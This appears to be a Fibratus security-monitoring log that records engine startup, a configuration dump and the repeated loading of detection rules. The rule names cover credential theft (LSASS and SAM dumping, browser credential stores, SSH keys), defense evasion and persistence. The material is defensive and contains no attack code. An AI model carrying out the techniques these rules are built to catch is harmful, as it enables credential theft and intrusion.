skip-files=>false excluded-files=>[] skip-mmaps=>false enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-05T17:53:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:53:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:53:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T17:53:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:53:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T17:54:03+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_activity_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-05T17:54:03+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-05T17:54:03+01:00 level=info msg=bootstrapping with pid 1264. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T17:54:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ flush-interval=>1s min-buffers=>16 max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-mem=>false enable-vamap=>true enable-fileio=>true stack-enrichment=>true enable-net=>true enable-threadpool=>false enable-image=>true buffer-size=>512 enable-thread=>true enable-registry=>true enable-audit-api=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-age=>0 max-size=>100 formatter=>text max-backups=>15] + output ......................... [ elasticsearch=>[ template-name=>fibratus gzip-compression=>false healthcheck-interval=>10s flush-period=>1s index-name=>fibratus timeout=>5s healthcheck-timeout=>5s sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false bulk-workers=>1 enabled=>false healthcheck=>true] amqp=>[ passive=>false delivery-mode=>transient vhost=>/ exchange-type=>topic exchange=>fibratus routing-key=>fibratus durable=>false enabled=>false url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false] http=>[ endpoints=>[] enabled=>false method=>POST tls-insecure-skip-verify=>false timeout=>5s serializer=>json enable-gzip=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] skip-files=>false enabled=>false fastscan=>true skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T17:54:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T17:54:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T20:20:21+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_activity_from_reflected_process.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T20:20:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T20:20:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 